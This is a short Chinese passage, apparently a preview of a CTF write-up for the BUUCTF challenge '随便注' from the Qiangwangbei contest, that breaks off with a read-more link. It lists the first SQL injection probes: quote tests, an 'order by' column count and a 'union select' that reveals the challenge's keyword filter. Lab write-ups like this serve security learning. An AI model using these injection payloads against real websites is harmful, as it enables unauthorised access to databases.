BUUCTF-强网杯-随便注

引用：https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.htmlhtml 1‘ //首先尝试的加引号，报错了 1’ # //正常 1‘ order by 1 # //用order by 测试获得列数为2 1' union select 1,2 # //回显了过滤规则 return preg_match("/select|update|delete

>>阅读原文<<